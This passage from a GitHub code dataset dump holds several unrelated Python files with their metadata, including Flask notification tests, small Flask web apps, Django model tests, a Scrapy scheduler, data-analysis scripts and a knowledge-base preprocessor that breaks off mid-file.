BeforeDate\nfrom flask_notifications.filters.after_date import AfterDate\nfrom flask_notifications.filters.expired import Expired\nfrom flask_notifications.filters.with_id import WithId\nfrom flask_notifications.filters.with_sender import WithSender\nfrom flask_notifications.filters.with_recipients import WithRecipients\nfrom flask_notifications.filters.with_event_type import WithEventType\nfrom flask_notifications.filters.not_filter import Not\n\n\nclass NotificationsFlaskTestCase(unittest.TestCase):\n\n \"\"\"Base test class for Flask-Notifications.\"\"\"\n\n def setUp(self):\n \"\"\"Set up the environment before the tests.\"\"\"\n self.app = Flask(__name__)\n self.test_app = self.app.test_client()\n\n self.config = {\n \"DEBUG\": True,\n \"TESTING\": True,\n \"CELERY_BROKER_URL\": \"redis://localhost:6379/0\",\n \"CELERY_RESULT_BACKEND\": \"redis://localhost:6379/0\",\n \"BROKER_TRANSPORT\": \"redis\",\n \"CELERY_ACCEPT_CONTENT\": [\"application/json\"],\n \"CELERY_TASK_SERIALIZER\": \"json\",\n \"CELERY_RESULT_SERIALIZER\": \"json\",\n \"CELERY_ALWAYS_EAGER\": True,\n \"REDIS_URL\": \"redis://localhost:6379/0\",\n\n # Notifications configuration\n \"BACKEND\": \"flask_notifications.backend.redis_backend.RedisBackend\"\n }\n\n # Set up the instances\n self.app.config.update(self.config)\n self.celery = Celery()\n self.celery.conf.update(self.config)\n self.redis = StrictRedis()\n\n # Get instance of the notifications module\n self.notifications = Notifications(\n app=self.app, celery=self.celery, broker=self.redis\n )\n\n self.backend = self.notifications.create_backend()\n\n # Mail settings\n self.default_email_account = \"invnotifications@gmail.com\"\n\n # Time variables\n self.tomorrow = datetime.now() + timedelta(days=1)\n self.next_to_tomorrow = datetime.now() + timedelta(days=2)\n self.next_to_next_to_tomorrow = datetime.now() + timedelta(days=3)\n self.next_to_tomorrow_tm = float(self.next_to_tomorrow.strftime(\"%s\"))\n self.next_to_next_to_tomorrow_tm = \\\n float(self.next_to_next_to_tomorrow.strftime(\"%s\"))\n\n # Create basic event to use in the tests, id randomized\n self.event = Event(\"1234\",\n event_type=\"user\",\n title=\"This is a test\",\n body=\"This is the body of a test\",\n sender=\"system\",\n recipients=[\"jvican\"],\n expiration_datetime=self.tomorrow)\n self.event_json = self.event.to_json()\n\n def tearDown(self):\n \"\"\"Destroy environment.\"\"\"\n self.app = None\n self.celery = None\n self.redis = None\n\n\nclass EventsTest(NotificationsFlaskTestCase):\n\n def test_json_parser(self):\n \"\"\"Is to_json and from_json working correctly?\"\"\"\n\n with self.app.test_request_context():\n json = self.event.to_json()\n event_from_parser = Event.from_json(json)\n\n assert event_from_parser[\"event_id\"] == self.event[\"event_id\"]\n assert event_from_parser[\"title\"] == self.event[\"title\"]\n assert event_from_parser[\"body\"] == self.event[\"body\"]\n\n\nclass FlaskMailNotificationTest(NotificationsFlaskTestCase):\n\n def setUp(self):\n super(FlaskMailNotificationTest, self).setUp()\n\n # Use flask-mail dependency\n self.flaskmail = FlaskMailConsumer.from_app(\n self.app, self.default_email_account, [self.default_email_account]\n )\n\n def test_email_delivery(self):\n with self.app.test_request_context():\n email_consumer = self.flaskmail\n\n # Testing only the synchronous execution, not async\n with self.flaskmail.mail.record_messages() as outbox:\n # Send email\n email_consumer(self.event_json)\n\n expected = \"Event {0}\".format(self.event[\"event_id\"])\n\n assert len(outbox) == 1\n assert outbox[0].subject == expected\n assert outbox[0].body == self.event_json\n\n\nclass PushNotificationTest(NotificationsFlaskTestCase):\n\n def test_push(self):\n \"\"\"Test if PushConsumer works properly.\"\"\"\n\n with self.app.test_request_context():\n user_hub = EventHub(\"TestPush\", self.celery)\n user_hub_id = user_hub.hub_id\n push_function = PushConsumer(self.backend, user_hub_id)\n\n # The notifier that push notifications to the client via SSE\n sse_notifier = self.notifications.sse_notifier_for(user_hub_id)\n\n push_function.consume(self.event_json)\n\n # Popping subscribe message. Somehow, if the option\n # ignore_subscribe_messages is True, the other messages\n # are not detected.\n propagated_messages = sse_notifier.backend.listen()\n message = next(propagated_messages)\n\n # Getting expected message and checking it with the sent one\n message = next(propagated_messages)\n assert message['data'].decode(\"utf-8\") == self.event_json\n\n\nclass LogNotificationTest(NotificationsFlaskTestCase):\n\n def test_log(self):\n \"\"\"Test if LogConsumer works properly.\"\"\"\n with self.app.test_request_context():\n filepath = \"events.log\"\n\n # Clean previous log files and log to file\n if os.access(filepath, os.R_OK):\n os.remove(filepath)\n log_function = LogConsumer(filepath)\n log_function.consume(self.event_json)\n\n # Check and remove file\n with open(filepath, \"r\") as f:\n written_line = f.readline()\n assert written_line == self.event_json\n os.remove(filepath)\n\n\nclass EventHubAndFiltersTest(NotificationsFlaskTestCase):\n\n def setUp(self):\n super(EventHubAndFiltersTest, self).setUp()\n\n self.event_hub = EventHub(\"TestFilters\", self.celery)\n self.event_hub_id = self.event_hub.hub_id\n\n def test_register_consumer(self):\n \"\"\"\n The client can register consumers using a decorator or\n calling directly :method register_consumer:. The client also\n can deregister consumers.\n \"\"\"\n @self.event_hub.register_consumer\n def write_to_file(event_json, *args, **kwargs):\n f = open(\"events.log\", \"a+w\")\n f.write(event_json)\n\n push_consumer = PushConsumer(self.backend, self.event_hub_id)\n self.event_hub.register_consumer(push_consumer)\n\n # The previous consumers are indeed registered\n assert self.event_hub.is_registered(push_consumer) is True\n assert self.event_hub.is_registered(write_to_file) is True\n\n # Registering the same PushConsumer as a sequence of consumers\n repeated_push_consumer = PushConsumer(self.backend, self.event_hub_id)\n self.event_hub.register_consumer(repeated_push_consumer)\n\n # The previous operation has no effect as the consumer has\n # been previously registered\n registered = list(self.event_hub.registered_consumers)\n assert len(list(filter(self.event_hub.is_registered, registered))) == 2\n\n # Deregister previous consumers\n for consumer in [write_to_file, push_consumer]:\n self.event_hub.deregister_consumer(consumer)\n\n assert len(self.event_hub.registered_consumers) == 0\n\n def test_and_filters(self):\n f1 = WithEventType(\"user\")\n f2 = WithSender(\"system\")\n f3 = WithRecipients([\"jvican\"])\n\n f1f2 = f1 & f2\n f1f2f3 = f1 & f2 & f3\n\n assert f1f2f3(self.event) is True\n\n assert f1(self.event) is True\n self.event[\"event_type\"] = \"info\"\n assert f1(self.event) is False\n assert f1f2(self.event) is False\n assert f1f2f3(self.event) is False\n\n assert f2(self.event) is True\n self.event[\"sender\"] = \"antisystem\"\n assert f2(self.event) is False\n assert f1f2f3(self.event) is False\n\n assert f3(self.event) is True\n self.event[\"recipients\"] = [\"johndoe\"]\n assert f3(self.event) is False\n assert f1f2f3(self.event) is False\n\n def test_or_filters(self):\n f1 = BeforeDate(self.tomorrow)\n f2 = WithId(\"1234\")\n f3 = Not(Expired())\n f1f2f3 = f1 | f2 | f3\n\n assert f1f2f3(self.event) is True\n\n assert f1(self.event) is True\n self.event[\"timestamp\"] = self.next_to_tomorrow_tm\n assert f1(self.event) is False\n assert f1f2f3(self.event) is True\n\n assert f2(self.event) is True\n self.event[\"event_id\"] = \"123\"\n assert f2(self.event) is False\n assert f1f2f3(self.event) is True\n\n assert f3(self.event) is True\n self.event[\"expiration_datetime\"] = datetime.now()\n assert f3(self.event) is False\n assert f1f2f3(self.event) is False\n\n def test_xor_filters(self):\n # f1 is false in the beginning\n f1 = AfterDate(self.next_to_tomorrow)\n f2 = WithId(\"1234\")\n f1f2 = f1 ^ f2\n\n assert f1f2(self.event) is True\n self.event[\"timestamp\"] = self.next_to_next_to_tomorrow_tm\n assert f1f2(self.event) is False\n self.event[\"event_id\"] = \"123\"\n assert f1f2(self.event) is True\n self.event[\"timestamp\"] = self.next_to_tomorrow_tm\n assert f1f2(self.event) is False\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"inveniosoftware-contrib/flask-notifications","sub_path":"tests/test_events.py","file_name":"test_events.py","file_ext":"py","file_size_in_byte":10239,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"53"} +{"seq_id":"6046817309","text":"# this is less of a test and more to just see what all the fit scores are for all historical orders... \nimport requests\n\n# lists all \"preference\" scores for existing orders \n\ndef find_fit(order):\n\tr = str(\"https://need2feed-ai.herokuapp.com/fit/%s\" % order)\n\tn = requests.get(r).content\n\treturn n\n\n\nfor order in range(85):\n\torder = order+1\n\tr = find_fit(order).decode(\"utf-8\")\n\tprint([order,r])\n","repo_name":"mindthegapdv/reco-engine","sub_path":"tests/find_fit.py","file_name":"find_fit.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9860026809","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom flask import Flask\napp = Flask(__name__)\nimport urllib2, urllib, urlparse\nimport os,sys\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\n\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\nLAT = os.environ.get(\"LINE_ACCESS_TOKEN\")\n\n@app.route('/shoshu')\ndef notify_shoshu():\n# post_line(u\"消臭力\")\n msg = \"消臭力ボタンが押されました\"\n play_google(msg=msg)\n\n@app.route('/furugura')\ndef notify_furugura():\n #post_line(u\"フルグラ\")\n msg = \"フルグラボタンが押されました\"\n play_google(\"192.168.1.5\", msg=msg)\n\n@app.route('/nescafe')\ndef notify_nescafe():\n #post_line(u\"フルグラ\")\n msg = \"ネスカフェが押されました\"\n play_google(msg=msg)\n\n\ndef play_google(gh_ip=\"192.168.1.4\", msg=None):\n \"\"\"google homeに喋らせる\n @param gh_ip:google homeのipアドレス (default:google home mini)\n @param meg:喋らせる内容\n \"\"\"\n os.system(\"node ~/Develop/g_h_hack/google-home-notifier/speak.js \"+gh_ip+\" \"+msg) \n\ndef post_line(message):\n url = u\"https://notify-api.line.me/api/notify\"\n message += u\"買ってこい\"\n params = {u\"message\":message.encode('utf-8')}\n params = urllib.urlencode(params)\n req = urllib2.Request(url)\n AT = \"******************\"\n #req.add_header(u\"Authorization\",u\"Bearer \"+os.environ[u\"LINE_ACCESS_TOKEN\"])\n req.add_header(u\"Authorization\",u\"Bearer \"+LAT)\n req.add_data(params)\n\n res = urllib2.urlopen(req)\n r = res.read()\n print(r)\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"okn3/amazon_dash_pi","sub_path":"listen_dash_app.py","file_name":"listen_dash_app.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3368578029","text":"#Flaskからimportしてflaskを使えるようにする\nfrom flask import Flask,render_template,request,session,redirect\nimport sqlite3\n \n#appっていう名前でFlaskアプリをつくっていくよ~みみたいな\napp = Flask(__name__)\n\n# session利用時にはシークレットキーが必要\napp.secret_key = 'kamaki0721'\n\n# DB方言呼び出し\n@app.route(\"/\")\ndef index():\n conn = sqlite3.connect(\"hougen.db\")\n c = conn.cursor()\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=1')\n hougen_list_1 =[]\n for row in c.fetchall():\n hougen_list_1.append(row[0])\n print(hougen_list_1)\n \n\n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=1')\n mean_1 =[]\n for row in c.fetchall():\n mean_1.append(row[0])\n print(mean_1)\n \n\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=2')\n hougen_list_2 =[]\n for row in c.fetchall():\n hougen_list_2.append(row[0])\n print(hougen_list_2)\n \n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=2')\n mean_2 =[]\n for row in c.fetchall():\n mean_2.append(row[0])\n\n\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=3')\n hougen_list_3 =[]\n for row in c.fetchall():\n hougen_list_3.append(row[0])\n print(hougen_list_3)\n \n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=3')\n mean_3 =[]\n for row in c.fetchall():\n mean_3.append(row[0])\n\n\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=4')\n hougen_list_4 =[]\n for row in c.fetchall():\n hougen_list_4.append(row[0])\n print(hougen_list_4)\n \n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=4')\n mean_4 =[]\n for row in c.fetchall():\n mean_4.append(row[0])\n\n \n c.close()\n \n return render_template(\"index.html\",\n hougen_list_1=hougen_list_1,mean_1=mean_1,\n hougen_list_2=hougen_list_2,mean_2=mean_2,\n hougen_list_3=hougen_list_3,mean_3=mean_3,\n hougen_list_4=hougen_list_4,mean_4=mean_4)\n \n # 編集ページリスト\n@app.route(\"/edit\")\ndef edit():\n conn = sqlite3.connect('hougen.db')\n c = conn.cursor()\n\n c.execute('SELECT category_id,word,mean from hougen')\n edit = []\n\n for row in c.fetchall():\n edit.append({\"category_id\":row[0],\"word\":row[1],\"mean\":row[2]})\n c.close()\n print(edit) \n\n\n return render_template(\"edit.html\",edit=edit) \n\n\n@app.route(\"/add\",methods=[\"GET\"])\ndef add_get():\n return render_template(\"edit.html\")\n\n\n# 追加機能\n@app.route(\"/add\",methods=[\"POST\"])\ndef add_post():\n category_id=request.form.get(\"category_id\")\n word=request.form.get(\"hougen\")\n mean=request.form.get(\"mean\")\n conn = sqlite3.connect('hougen.db')\n c = conn.cursor()\n\n c.execute('insert into hougen values(null,?,?,?)',(category_id,word,mean))\n conn.commit()\n conn.close()\n print(edit)\n\n\n return redirect(\"/edit\") \n\n # 削除機能追加\n@app.route(\"/delete/\")\ndef delete_(id):\n conn = sqlite3.connect(\"hougen.db\") #データベースに接続\n c = conn.cursor()\n c.execute('delete from task where id = ?',(id,))\n conn.commit() \n conn.close\n return redirect(\"/task_list\")\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n #flaskが持っている開発者用サーバを実行します\n app.run(debug=True)\n","repo_name":"kaaa43246y/sotsugyouseisaku","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26741014318","text":"# Organize invoices in a new folder and flag if file size is > 5MB\n\nimport glob\nimport shutil \nimport os\nfrom pathlib import Path\n\npath = '/Users/Admin/invoice/'\n\n# Check whether the specified path exists or not\nisExist = os.path.exists(path)\n\n# Create a new directory if it does not already exist\nif not isExist:\n os.makedirs(path)\n print(\"New directory created.\")\n\nsrc_folder = \"/Users/Admin/Downloads/\"\ndst_folder = \"/Users/Admin/invoice/\"\n\n# Move file if name starts with string 'invoice'\npattern = src_folder + \"/invoice*\"\nfor file in glob.iglob(pattern, recursive=True):\n\n # Extract file name form file path\n file_name = os.path.basename(file)\n shutil.move(file, dst_folder + file_name)\n print('Moved:', file)\n\n# Find files that are > 5MB\ndir_path = Path('/Users/Admin/invoice/')\n\nF_LIST = list(x for x in dir_path.rglob('*.*') if x.is_file() and os.path.getsize(x) >= 5000000)\n\nfor f in F_LIST:\n print(f.parts[-1] + \" ===> \" + \"Size = \" + str(format(os.path.getsize(f), ',d')))\n","repo_name":"rei620m/python_automation","sub_path":"invoice_automation.py","file_name":"invoice_automation.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2071860903","text":"#find k closest values close to target\n\n# O(n) time 44ms\nclass Solution(object):\n def closestKValues(self, root, target, k):\n \"\"\"\n :type root: TreeNode\n :type target: float\n :type k: int\n :rtype: List[int]\n \"\"\"\n # O(n) time is esay\n q = collections.deque()\n for x in self.inorder(root):\n if len(q) 0).sum()\n # and percentage of non-null values\n non_null_percentage = non_null_non_zero / len(df)\n \n # calculate statistical power if there are missing data points\n if non_null_percentage < 1.0:\n nobs1 = non_null_non_zero\n alpha = 0.05 # significance level\n effect_size = correlation * np.sqrt((1 - correlation**2) / (1 - non_null_percentage))\n power = smp.tt_ind_solve_power(effect_size, nobs1=nobs1, alpha=alpha)\n else:\n power = 1.0 # set power to 1 when there are no missing data points\n\n # add the correlation and percent non-null to dictionary\n correlations[column] = [correlation, non_null_percentage, power]\n\n\n# create a dataframe from the dictionary of correlations\ndf_correlation = pd.DataFrame.from_dict(correlations, orient='index', columns=['correlation', 'non_null_percentage', 'power'])\n\n# sort by abs(correlation)\ndf_correlation = df_correlation.reindex(df_correlation['correlation'].abs().sort_values(ascending=False).index)\n\n# only show correlations with a power of 0.8 or higher\ndf_correlation = df_correlation[df_correlation['power'] >= 0.8]\n\ndf_correlation\n\n\n#### Present day\n# break out each animal\n# how many cows\n# how much feed is going in\n\n\nfigure_toggle = False\n\nif figure_toggle:\n\n fig = px.scatter(\n df_merged,\n x=\"Country\",\n y=\"fudge_factor\", \n # log_y=True, \n )\n\n fig.show()\n\n\n country_selection = \"USA\"\n # plot mongoloia feed usage by species\n fig2 = px.bar(\n df_feed.loc[country_selection].filter(regex=\"_feed\"),\n x=df_feed.loc[country_selection].filter(regex=\"_feed\").index,\n y=df_feed.loc[country_selection].filter(regex=\"_feed\").values,\n )\n\n fig2.show()\n \n\n\n\n\n\n# # # mike is familiar with the datasets\n# # # also the lily paper, grass growing... maybe in supplements?\n\n\n\n# # # (feed + grass + residues) * growth_factor <- gdp = total demand (currenlty calculated on \"maintenance\" requirements, i.e no growth)\n# # # growth could be twice as much\n# # # conversion efficiency is really terrible for beef...\n\n\n# # # \n\n\n# # # livestock units are defined differently based on region, so apply this first before introducing other factors.\n\n# # # residues will be proportional to crop area... so we can use the crop area data to estimate residues\n\n\n# # # glean database only broken down by OECD and non OEXD. But it has the consumption of grazed material as well as residues.\n\n\n# # # 1 ha = 0.8 tonne of residues produced by hectare. https://www.sciencedirect.com/science/article/abs/pii/S2211912416300013#preview-section-introduction\n# # # some are used for toher things\n# # # sugar (burnt for the factory)\n# # # \n\n\n\n# # # \n\n","repo_name":"allfed/allfed-integrated-model","sub_path":"scripts/animal_population_analysis/animal_feed_analysis.py","file_name":"animal_feed_analysis.py","file_ext":"py","file_size_in_byte":17482,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"53"} +{"seq_id":"39327123444","text":"from django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\n\nfrom posts.models import Comment, Follow, Group, Post\n\nUser = get_user_model()\n\n\nclass PostModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.user = User.objects.create_user(username='auth')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='Тестовый слаг',\n description='Тестовое описание',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый пост' * settings.SYMBOL_MULTIPLIER,\n )\n\n def test_model_post_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Post корректно работает __str__.\"\"\"\n post = PostModelTest.post\n text = post.text[:15]\n self.assertEqual(str(post), text)\n\n def test_model_post_verbose_name(self):\n \"\"\"verbose_name в полях модели Post совпадает с ожидаемым.\"\"\"\n post = PostModelTest.post\n field_verboses = {\n 'text': 'Текст поста',\n 'created': 'Дата публикации',\n 'author': 'Автор',\n 'group': 'Группа',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n post._meta.get_field(value).verbose_name, expected)\n\n def test_model_post_help_text(self):\n \"\"\"help_text в полях модели Post совпадает с ожидаемым.\"\"\"\n post = PostModelTest.post\n field_help_texts = {\n 'text': 'Введите текст поста',\n 'group': 'Группа, к которой будет относиться пост',\n }\n for value, expected in field_help_texts.items():\n with self.subTest(value=value):\n self.assertEqual(\n post._meta.get_field(value).help_text, expected)\n\n\nclass GroupModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='Тестовый слаг',\n description='Тестовое описание',\n )\n\n def test_model_group_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Group корректно работает __str__.\"\"\"\n group = GroupModelTest.group\n title = group.title\n self.assertEqual(str(group), title)\n\n def test_model_group_verbose_name(self):\n \"\"\"verbose_name в полях модели Group совпадает с ожидаемым.\"\"\"\n group = GroupModelTest.group\n field_verboses = {\n 'title': 'Название',\n 'slug': 'Ссылка',\n 'description': 'Описание',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n group._meta.get_field(value).verbose_name, expected)\n\n\nclass CommentModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.user = User.objects.create_user(username='auth')\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый пост',\n )\n cls.comment = Comment.objects.create(\n author=cls.user,\n text='Комментарий' * settings.SYMBOL_MULTIPLIER,\n post=cls.post,\n )\n\n def test_model_comment_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Comment корректно работает __str__.\"\"\"\n comment = CommentModelTest.comment\n text = comment.text[:15]\n self.assertEqual(str(comment), text)\n\n def test_model_comment_verbose_name(self):\n \"\"\"verbose_name в полях модели Comment совпадает с ожидаемым.\"\"\"\n comment = CommentModelTest.comment\n field_verboses = {\n 'post': 'Название поста',\n 'author': 'Имя автора',\n 'text': 'Текст комментария',\n 'created': 'Дата публикации',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n comment._meta.get_field(value).verbose_name, expected)\n\n\nclass FollowModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.author_user = User.objects.create_user(username='author')\n cls.follower_user = User.objects.create_user(username='follower')\n cls.follow = Follow.objects.create(\n user=cls.follower_user,\n author=cls.author_user,\n )\n\n def test_model_follow_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Follow корректно работает __str__.\"\"\"\n follow = FollowModelTest.follow\n text = (\n f'{self.follow.user.username} '\n f'следит за {self.follow.author.username}'\n )\n self.assertEqual(str(follow), text)\n\n def test_model_follow_verbose_name(self):\n \"\"\"verbose_name в полях модели Follow совпадает с ожидаемым.\"\"\"\n follow = FollowModelTest.follow\n field_verboses = {\n 'user': 'Подписчик',\n 'author': 'Автор поста',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n follow._meta.get_field(value).verbose_name, expected)\n","repo_name":"JUSTUCKER/Yatube_social_network","sub_path":"yatube/posts/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":6038,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"29376746145","text":"#LC-MS_Plotter.py\n\"\"\"Asks for the name of a properly formatted .csv file and plots its LC-MS data.\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\n\n# Ask for the data until it's successfully gotten\nwhile True:\n try:\n file_name = input(\"Full name of file: \")\n df = pd.read_csv(file_name)\n assert len(df.columns.values) == 3, \"Need three columns: m/z, RT, and intensity\"\n except:\n print(\"Invalid file.\")\n restart = input(\"Try again with a different file name? Y/N \")\n if restart != \"Y\":\n break\n break\n\n# Display the data...\nfig = plt.figure()\n# ... from the m/z angle\nax = fig.add_subplot(221, projection=\"3d\")\nax.view_init(elev=0., azim=-90)\nplt.title(r\"$\\frac{m}{z}$ View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\n# ... from the RT angle\nax = fig.add_subplot(222, projection=\"3d\")\nax.view_init(elev=0., azim=0)\nplt.title(r\"RT View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\n# ... and from two other angles\nax = fig.add_subplot(223, projection=\"3d\")\nax.view_init(elev=5., azim=-45)\nplt.title(r\"Combination View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\n# ... and from two other angles\nax = fig.add_subplot(224, projection=\"3d\")\nax.view_init(elev=5., azim=-135)\nplt.title(r\"Combination View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\nplt.show()","repo_name":"akotter2/Adam-Kotter-Code","sub_path":"Work_Projects/LC-MS/LC-MS_Plotter.py","file_name":"LC-MS_Plotter.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"30581233996","text":"import functools\nimport time\nfrom datetime import datetime\nimport schedule\nimport scrapy\nfrom twisted.internet import reactor, defer\nfrom scrapy.crawler import CrawlerRunner\nfrom scrapy.utils.log import configure_logging\nfrom newscrawl.spiders.daum import DaumSpider\nfrom newscrawl.spiders.naver import NaverSpider\n\ndef print_elapsed_time(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n start_timestamp = time.time()\n print(f'LOG: Running job \"{func.__name__}\" at {datetime.now()}')\n result = func(*args, **kwargs)\n print(f'LOG: Job \"{func.__name__}\" completed in {time.time() - start_timestamp} seconds')\n print(f'LOG: Finished job \"{func.__name__}\" at {datetime.now()}')\n return result\n\n return wrapper\n\ndef start_spider():\n custom_settings= {\n 'ITEM_PIPELINES' : {\n 'newscrawl.pipelines.NewscrawlPipeline': 300\n }\n }\n def crawler_func():\n configure_logging()\n runner = CrawlerRunner(custom_settings)\n\n @defer.inlineCallbacks\n def crawl() :\n yield runner.crawl(DaumSpider)\n yield runner.crawl(NaverSpider)\n reactor.stop()\n crawl()\n reactor.run() \n crawler_func()\n\n\n@print_elapsed_time\ndef job_every_time_crawl() :\n start_spider()\n\n# job_every_time_crawl()\nschedule.every().hour.do(job_every_time_crawl)\n\nprint('[Start] scheduler ready')\nwhile True:\n schedule.run_pending()\n time.sleep(1)","repo_name":"Keunyoung-Jung/main-news-analys","sub_path":"newscrawl/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19725903086","text":"import pdb\n\nfrom PyQt5.QtCore import QObject, pyqtSignal, pyqtSlot\n\nfrom modules.MyImage import MyImage\n\n\nclass ProcessHandler(QObject):\n\n finishSignal = pyqtSignal()\n updateSignal = pyqtSignal(int)\n messageSignal = pyqtSignal(str)\n\n def __init__(self):\n super(ProcessHandler, self).__init__()\n\n def setImagePath(self, imagePathes):\n self._imagePathes = imagePathes\n self._imageLists = [\n MyImage(imagePath) for imagePath in self._imagePathes\n ]\n # 已完成的进程数\n self._finishedCount = 0\n # 已开始运行的进程数\n self._pointer = 0\n # 正在运行的进程数\n self._currentCount = 0\n # 需要运行的总进程数\n self._taskCount = len(self._imagePathes)\n # 停止标记\n self._stopFlag = False\n\n def setParams(self, width, height, depth, radius, threads=4):\n self._threads = threads\n for image in self._imageLists:\n image.setParams(width, height, depth, radius)\n image.messageSignal.connect(self.messageSignal.emit)\n return self\n\n def start(self):\n self.updateSignal.emit(0)\n firstCount = min(self._taskCount, self._threads)\n for image in self._imageLists[:firstCount]:\n image.finishSignal.connect(self._update)\n image.start()\n self._currentCount += 1\n self._pointer += 1\n\n def _update(self):\n self._finishedCount += 1\n self._currentCount -= 1\n self.updateSignal.emit(\n int(self._finishedCount / self._taskCount * 100)\n )\n\n if self._currentCount == 0:\n self.finishSignal.emit()\n return\n\n if self._stopFlag and self._currentCount != 0:\n print('Wait Other threads to stop...')\n return\n\n try:\n self._imageLists[self._pointer].finishSignal.connect(self._update)\n self._imageLists[self._pointer].start()\n self._pointer += 1\n self._currentCount += 1\n except IndexError as e:\n print(e)\n\n @pyqtSlot()\n def stop(self):\n self._stopFlag = True\n","repo_name":"cycoe/AdjustImage","sub_path":"modules/ProcessHandler.py","file_name":"ProcessHandler.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39936290079","text":"from django.urls import path\nfrom bilibili import views, tests\n\n\nurlpatterns = [\n path('movielist/', views.movielist),\n path('userlist/', views.userlist),\n path('movielist/movie//', views.movie),\n path('userlist/user/', views.user),\n]","repo_name":"hanna0911/bilibiliSearch-website","sub_path":"源代码/Web工程代码/bilibiliSearch/bilibili/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12114636967","text":"import os\nimport src.utils.string_utils as string_utils\nimport src.utils.elapsed_timer as Timer\nimport src.utils.files as file\n\n\n\"\"\"\nclean_kb creates 2 file:\n -vertices.csv\n vertex_id\n vertex_text\n -edges.csv\n source_vertex_id\n dest_vertex_id\n edge_type_id\n edge_type_text\n -edge_type\n edge_type_id\n edge_type_text\n\n\"\"\"\n\n\ndef preprocess_kb(cfg):\n groundtruth_path = cfg['preprocessor_swde']['groundtruth_path']\n vertex_output_path = cfg['kb_preprocessor']['output_dir_path'] + 'nodes.csv'\n edge_output_path = cfg['kb_preprocessor']['output_dir_path'] + 'edges.csv'\n edge_type_output_path = cfg['kb_preprocessor']['output_dir_path'] + 'edge_type.csv'\n\n\n if not os.path.exists(os.path.dirname(vertex_output_path)):\n os.makedirs(os.path.dirname(vertex_output_path))\n\n with open(vertex_output_path, 'w', encoding=\"utf8\") as vertex_out_file:\n with open(edge_output_path, 'w', encoding=\"utf8\") as edge_out_file:\n with open(edge_type_output_path, 'w', encoding=\"utf8\") as edge_type_out_file:\n\n # annotation type is edge type (director, writer, ...)\n 